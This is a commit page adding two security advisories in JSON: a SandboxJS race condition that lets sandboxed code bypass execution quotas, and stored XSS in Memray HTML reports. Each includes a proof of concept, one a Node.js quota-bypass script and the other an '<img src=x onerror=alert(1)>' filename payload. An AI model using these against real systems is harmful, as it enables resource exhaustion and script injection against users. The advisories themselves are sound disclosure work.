Skip to content

Commit f15f748

Browse files
1 parent 4a00685 commit f15f748

File tree

2 files changed

+129
-0
lines changed

2 files changed

+129
-0
lines changed
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-7p5m-xrh7-769r",
4+
"modified": "2026-03-16T16:43:05Z",
5+
"published": "2026-03-16T16:43:05Z",
6+
"aliases": [
7+
"CVE-2026-32723"
8+
],
9+
"summary": "SandboxJS has an execution-quota bypass (cross-sandbox currentTicks race) in SandboxJS timers",
10+
"details": "## Summary\n\nAssumed repo path is `/Users/zwique/Downloads/SandboxJS-0.8.34` (no `/Users/zwique/Downloads/SandboxJS` found). A global tick state (`currentTicks.current`) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox's tick object. In multi-tenant / concurrent sandbox scenarios, another sandbox can overwrite `currentTicks.current` between scheduling and execution, causing the timer callback to run under a different sandbox's tick budget and bypass the original sandbox's execution quota/watchdog.\n\n**Impact:** execution quota bypass → CPU/resource abuse \n\n---\n\n## Details\n\n- **Affected project:** SandboxJS (owner: nyariv)\n- **Assumed checked-out version:** `SandboxJS-0.8.34` at `/Users/zwique/Downloads/SandboxJS-0.8.34`\n\n### Vulnerable code paths\n\n- **`/src/eval.ts`** — `sandboxFunction` binds `ticks` using `ticks || currentTicks.current`:\n ```\n createFunction(..., ticks || currentTicks.current, { ...context, ... })\n ```\n Relevant lines: 44, 53, 164, 167.\n\n- **`/src/evaluator.ts` / `/src/executor.ts`** — global ticks:\n ```\n export const currentTicks = { current: { ticks: BigInt(0) } as Ticks };\n ```\n and\n ```\n _execNoneRecurse(...) { currentTicks.current = ticks; ... }\n ```\n Relevant lines: ~1700, 1712.\n\n- **`sandboxedSetTimeout`** compiles string handlers at execution time, not at scheduling time, which lets `currentTicks.current` be the wrong sandbox's ticks when compilation occurs.\n\n---\n\n## Why This Is Vulnerable\n\n- `currentTicks.current` is global mutable state shared across all sandbox instances.\n- Timer string handlers are compiled at the moment the timer fires and read `currentTicks.current` at that time. If another sandbox runs between scheduling and execution, it can replace `currentTicks.current`. The scheduled timer's code will be compiled/executed with the other sandbox's tick budget. This allows the original sandbox's execution quota to be bypassed.\n\n---\n\n## Proof of Concept\n\n> Run with Node.js; adjust path if needed.\n\n```js\n// PoC (run with node); adjust path if needed\nimport Sandbox from '/Users/zwique/Downloads/SandboxJS-0.8.34/node_modules/@nyariv/sandboxjs/build/Sandbox.js';\n\nconst globals = { ...Sandbox.SAFE_GLOBALS, setTimeout, clearTimeout };\nconst prototypeWhitelist = Sandbox.SAFE_PROTOTYPES;\n\nconst sandboxA = new Sandbox({\n globals,\n prototypeWhitelist,\n executionQuota: 50n,\n haltOnSandboxError: true,\n});\nlet haltedA = false;\nsandboxA.subscribeHalt(() => { haltedA = true; });\n\nconst sandboxB = new Sandbox({ globals, prototypeWhitelist });\n\n// Sandbox A schedules a heavy string handler\nsandboxA.compile(\n 'setTimeout(\"let x=0; for (let i=0;i<200;i++){ x += i } globalThis.doneA = true;\", 0);'\n)().run();\n\n// Run sandbox B before A's timer fires\nsandboxB.compile('1+1')().run();\n\nsetTimeout(() => {\n console.log({ haltedA, doneA: sandboxA.context.sandboxGlobal.doneA });\n}, 50);\n```\n\n### Reproduction Steps\n\n1. Place the PoC in `hi.js` and run:\n ```\n node /Users/zwique/Downloads/SandboxJS-0.8.34/hi.js\n ```\n\n2. Observe output similar to:\n ```\n { haltedA: false, doneA: true }\n ```\n This indicates the heavy loop completed and the quota was bypassed.\n\n3. Remove the `sandboxB.compile('1+1')().run();` line and rerun. Output should now be:\n ```\n { haltedA: true }\n ```\n This indicates quota enforcement is working correctly.\n\n---\n\n## Impact\n\n- **Type:** Runtime guard bypass (execution-quota / watchdog bypass)\n- **Who is impacted:** Applications that run multiple SandboxJS instances concurrently in the same process — multi-tenant interpreters, plugin engines, server-side scripting hosts, online code runners.\n- **Practical impact:** Attackers controlling sandboxed code can bypass configured execution quotas/watchdog and perform CPU-intensive loops or long-running computation, enabling resource exhaustion/DoS or denial of service against the host process or other tenants.\n- **Does not (as tested) lead to:** Host object exposure or direct sandbox escape (no `process` / `require` leakage observed from this primitive alone). Escalation to RCE was attempted and not observed.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "@nyariv/sandboxjs"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.8.35"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.8.34"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-7p5m-xrh7-769r"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/nyariv/SandboxJS/commit/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/nyariv/SandboxJS"
53+
}
54+
],
55+
"database_specific": {
56+
"cwe_ids": [
57+
"CWE-362"
58+
],
59+
"severity": "MODERATE",
60+
"github_reviewed": true,
61+
"github_reviewed_at": "2026-03-16T16:43:05Z",
62+
"nvd_published_at": null
63+
}
64+
}
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-r5pr-887v-m2w9",
4+
"modified": "2026-03-16T16:41:58Z",
5+
"published": "2026-03-16T16:41:58Z",
6+
"aliases": [
7+
"CVE-2026-32722"
8+
],
9+
"summary": "Stored XSS in Memray-generated HTML reports via unescaped command-line metadata",
10+
"details": "## Summary\n\nPrior to Memray 1.19.2, Memray rendered the command line of the tracked process directly into generated HTML reports without escaping. Because there was no escaping, attacker-controlled command line arguments were inserted as raw HTML into the generated report.\n\nThis allowed JavaScript execution when a victim opened the generated report in a browser.\n\n## Affected Version\n\n- Memray version: `1.19.1` and earlier\n\n## Remediation\n\nUpgrade to Memray 1.19.2, and avoid attaching Memray to untrusted processes until you have upgraded.\n\n## Root Cause\n\nJinja is used to embed the process's command line arguments into the generated flame graph or table report. Memray has not been telling Jinja to HTML escape the command line arguments when writing them into the HTML, leading to a stored XSS vulnerability.\n\n## Impact\n\nAn attacker who can influence the script name or command-line arguments of a profiled program can inject HTML/JavaScript into Memray-generated HTML reports (both `memray flamegraph` and `memray table` reports, both with and without `--no-web`). When a victim opens the generated report in a browser, the injected JavaScript executes in the context of the report.\n\nNote that in the case of `memray attach`, the user attaching Memray and generating the report may be a different user than the one who ran the command and set up the command line arguments.\n\n## Proof of Concept\n\nRun Memray on a script with an attacker-controlled filename:\n\n```bash\ntouch '<img src=x onerror=alert(1)>'\npython -m memray run -o poc.bin '<img src=x onerror=alert(1)>'\n```\n\nGenerate a report:\n\n```bash\npython -m memray flamegraph -o poc.html poc.bin\n```\n\n## Observed Result\n\nThe generated HTML contains raw unescaped attacker-controlled HTML.\n\nOpening or reloading the generated report in a browser triggers JavaScript execution.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "memray"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.19.2"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/bloomberg/memray/security/advisories/GHSA-r5pr-887v-m2w9"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/bloomberg/memray/commit/ba6e4e2e9930f9641bed7adfdf43c8e2545ce249"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/bloomberg/memray"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/bloomberg/memray/releases/tag/v1.19.2"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-79"
59+
],
60+
"severity": "LOW",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-16T16:41:58Z",
63+
"nvd_published_at": null
64+
}
65+
}

0 commit comments

Comments
 (0)